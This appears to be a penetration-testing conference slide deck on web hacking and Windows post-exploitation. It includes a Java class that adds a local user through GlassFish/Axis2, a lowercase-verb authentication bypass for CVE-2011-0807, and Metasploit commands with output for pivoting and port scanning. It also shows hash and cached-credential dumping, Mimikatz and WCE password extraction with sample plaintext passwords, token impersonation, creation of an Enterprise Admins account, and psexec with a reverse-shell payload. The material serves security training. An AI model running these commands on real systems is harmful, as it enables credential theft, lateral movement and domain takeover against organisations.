Introduction

Web Hacking

Post-Exploitation
Introduction
About Me – @Jabra – Joshua Abraham

• Built the Services team - Rapid7 until 2012
• Director of Services - Praetorian
• Contributed to many Open Source Projects
  – Metasploit, Nmap, BeEF, Fierce2
  – Backtrack developer for 5 years
    • Convinced them to switch from SLAX
• Speaker at many security conferences
• Was a builder, before I was a breaker
Attack Vectors

Easy

• Phishing
• Weak/Default/Reused Passwords
  – Pass-the-Hash
• Misconfigurations

Hard

• 0day in IE/Chrome/Windows 7 or 8
• Buffer Overflow in IIS or Apache
• Remote Root on OpenSSH
Useful Techniques

• Check all enumerated hosts (test.company.com)
• NetBIOS – weak password policy, list of usernames and quick bruteforce (w/o lockout)
• SNMP to enumerate domain credentials
• Web Apps to enumerate domain credentials or PII
  – Especially when they are NOT authenticated
• FTP anonymous (found password, sensitive data)
Web Hacking
package org.apache.axis2.axis2userguide;
import java.io.IOException;
public class AddUser {
    public AddUser() {}  
    public void main() {
        Process process;
        try {
            process = Runtime.getRuntime().exec("net user foo bar /add");
        }  
        catch(IOException ioexception) {
            ioexception.printStackTrace();
        }  
        return;
    }
}
GlassFish

• CVE-2011-0807

• **Unspecified vulnerability** in GlassFish allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors related to Administration.

• Affects
  – Oracle Sun GlassFish Enterprise Server 2.1, 2.1.1, and 3.0.1, and Sun Java System Application Server 9.1,
GlassFish

Administration Console

The Administration Console is a browser-based utility that features an easy-to-navigate graphical interface that includes extensive online help for the administrative tasks.

To use the Administration Console, the domain administration server (DAS) must be running. Each domain has its own DAS, which has a unique port number. When GlassFish Server was installed, you chose a port number for the DAS, or used the default port of 4840. You also specified a user name and password if you did not accept the default login (admin with no password).

When specifying the URL for the Administration Console, use the port number for the domain to be administered. The formal for starting the Administration Console in a web browser is http://hostname:port. For example:

http://kindness.example.com:4840

If the Administration Console is running on the host where GlassFish Server was installed, specify localhost for the hostname. For example:

http://localhost:4840

For Microsoft Windows, an alternate way to start the GlassFish Server Administration Console is by using the Start menu.
GlassFish

• To use the Administration Console, the domain administration server (DAS) must be running.

• Each domain has its own DAS, which has a unique port number. (default 4848)

• You also specified a user name and password if you did not accept the default login (admin with no password).
 CVE-2011-0807

• Instead of using normal HTTP verb, switch to lower case (GET -> get, POST -> post)

• No Credentials needed

• Affected version had weak passwords
DEMO
Post-Exploitation
Meterpreter

• Upload/Download files (including shares)
• Run Commands
• Steal Credentials (hashes and passwords)
• Packet Capture
• Pivot from one system to another
• Great collaborative resource: https://github.com/mubix/post-exploitation
Network Information

• ipconfig /all
• net view
• /etc/resolv.conf (*nix)
• DNS recon
  – Fierce v2
  – msf> use auxiliary/gather/enum_dns
• Zone Transfer is your friend
• Look for hostnames mapped to names
Pivoting

meterpreter> background
msf> route add 0.0.0.0 0.0.0.0 [session-id]

msf> use auxiliary/scanner/netbios/nbname
msf> set RHOST [target_range]
msf> run
Hosts/Services Commands

• hosts – returns a list of hosts
• services – returns a list of services
• creds – returns a list of known credentials
• Output to a file with –o option (help is –h)
• Use a query to set the RHOSTS value

```
msf> use auxiliary/scanner/smb/smb_version
# Set RHOSTS based on a query

msf> services -p 445 -u -R
msf> run
```
Egress Controls - Port

• Enumerate egress ports

msf > use auxiliary/scanner/portscan/syn
msf auxiliary(syn) > set PORTS 1-65535
msf auxiliary(syn) > set RHOSTS [target-with-all-ports-open]
msf auxiliary(syn) > run -j
Egress Controls – Web Proxy

C:\>netsh winhttp import proxy source=ie

Current WinHTTP proxy settings:

  Proxy Server(s) : 127.0.0.1:8080
  Bypass List     : <loopback>;*.local

C:\ netsh winhttp reset proxy
Stealing Credentials

- **post/windows/gather/hashdump**
  - Local credentials

- **post/windows/gather/cachedump**
  - Cached locally to connect to the Domain
  - Salted with usernames

```bash
# covert MSF output to Hashcat format
$ cat *mscache* | awk -F '' '{print $4":"$2}'
```

https://github.com/mubix/post-exploitation
WCE

• Provide passwords from memory
• Requires uploading a DLL
• Requires storing credentials on target
• Usage:
  execute -H -m -d calc.exe -f wce.exe -a "-o output.txt"
Mimikatz

- `mimikatz privilege::debug "sekurlsa::logonPasswords full" exit`
- `psexec \windows -s -c c:\mimikatz\Win32\mimikatz.exe "sekurlsa::logonPasswords full" exit`
- `meterpreter > execute -H -i -m -f /pentest/passwords/mimikatz/mimikatz_x86.exe`

```
mimikatz 1.0 x64 (RC) /* Traitement du Kiwi (Aug 2 2012 01:32:28) */
// http://blog.gentilkiwi.com/mimikatz

mimikatz # privilege::debug
Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK

mimikatz # sekurlsa::logonPasswords full

Authentification Id : 0;234870
Package d'authentification : NTLM
Utilisateur principal : Gentil Kiwi
Domaine d'authentification : vm-w8-rp-x
    msv1_0 :
      * Utilisateur : Gentil Kiwi
      * Domaine : vm-w8-rp-x
      * Hash LM : d0e9aee149655a6075e4540af1f22d3b
      * Hash NTLM : cc36cf7a8514893efccd332446158b1a
    kerberos :
      * Utilisateur : Gentil Kiwi
      * Domaine : vm-w8-rp-x
      * Mot de passe : waza1234/
    wdigest :
      * Utilisateur : Gentil Kiwi
      * Domaine : vm-w8-rp-x
      * Mot de passe : waza1234/
    tspkg :
      * Utilisateur : Gentil Kiwi
      * Domaine : vm-w8-rp-x
      * Mot de passe : waza1234/
    livessp : n.t. (LUID KO)
```
Meterpreter Extension
Password Cracking

- PWAudit.com – cloud based GPU cracking
  - Cracking and Finding Reused Passwords
- Built Metasploit Plugin
- Handles upload and download of hashes
- Retrieves and stores cracked credentials in DB

Plugin will be posted at praetorian.com/blog
Mimikatz – Post Module

```plaintext
msf > use post/windows/gather/mimikatz
msf post(mimikatz) > set SESSION 1
SESSION => 1
msf post(mimikatz) > run

[*] Running module against XP-SP3
[+] We have SYSTEM privileges
[*] Retrieving credentials
XP-SP3 credentials

AuthID     Package     Domain      User              Password
---------   ------       -------      ------            -------
0;42474     NTLM         NT AUTHORITY LOCAL SERVICE
0;997      Negotiate    NT AUTHORITY LOCAL SERVICE
0;999      Negotiate    VULNLAB     XP-SP3$
17 8b 51 03 ef e5 15 15 5c 1c 2b ca 04 49 aa 39 1e d1 af 30 66 3a 2e ae 2d 77 60 a8
0;996      Negotiate    NT AUTHORITY NETWORK SERVICE
17 8b 51 03 ef e5 15 15 5c 1c 2b ca 04 49 aa 39 1e d1 af 30 66 3a 2e ae 2d 77 60 a8
0;1467525   Kerberos    VULNLAB     joe-admin       RedSox1918!

[*] Post module execution completed
msf post(mimikatz) >
```

Code will be posted at praetorian.com/blog
$ xfreerdp -u test -p 36374BD2767773A2DD4F6B010EC5EE0D 192.168.226.129

Stealing a Token

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > use incognito
Loading extension incognito...success.
meterpreter > list_tokens -u

Delegation Tokens Available
==================================
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
VULNLAB\joe-admin

Impersonation Tokens Available
==================================
NT AUTHORITY\ANONYMOUS LOGON

meterpreter > impersonate_token 'VULNLAB\joe-admin'
[+] Delegation token available
[+] Successfully impersonated user VULNLAB\joe-admin
meterpreter > getuid
Server username: VULNLAB\joe-admin
meterpreter > background
```
Add User / DA Account

• Use shell –t (spawn shell using privs from token)

```shell
meterpreter> shell -t
C:\ net user jabra [H@kWithMsf2013!] /domain /add
C:\ net groups “Enterprise Admins” jabra /domain /add
```
Current_user_psexec

• Compromise a system that has a DA/DE token
• Setup SMB share remote using a UNC path to the compromised system

```ruby
msf> use exploit/windows/local/current_user_psexec
msf > set RHOSTS [VICTIM_IPs]
msf > set SESSION [SESSION_WITH_DA_TOKEN]
msf > set PAYLOAD window/meterpreter/reverse_tcp
msf > set LHOST [MSF_IP]
msf> exploit -j
```
Current_user_psexec

```ruby
msf exploit(current_user_psexec) > set SESSION 1
SESSION => 1
msf exploit(current_user_psexec) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(current_user_psexec) > set LHOST 10.10.5.20
LHOST => 10.10.5.20
msf exploit(current_user_psexec) > exploit -j
[*] Exploit running as background job.

[*] Started reverse handler on 10.10.5.20:4444
msf exploit(current_user_psexec) > [*] Using 10.10.5.14 as the internal address for victims to get the payload from
[*] Creating share C:\gXSnjb9i
[*] Dropping payload xczuejMv.exe
[*] 10.10.5.13  Creating service K42wqmpyH6
[*] 10.10.5.13  Starting the service
[*] Sending stage (770048 bytes) to 10.10.5.13
[*] 10.10.5.13  Deleting the service
[*] Deleting share gXSnjb9i
[*] Deleting files C:\gXSnjb9i
[*] Meterpreter session 2 opened (10.10.5.20:4444 -> 10.10.5.13:49600) at 2013-11-03 12:08:48 -0600

msf exploit(current_user_psexec) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer    : WIN7
OS          : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64 (Current Process is WOW64)
System Language : en_US
Meterpreter  : x86/win32
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

Code already in Metasploit
DEMO
Contact Information

• @jabra (twitter)
• Jabra (irc.freenode.net)
• josh.abraham@praetorian.com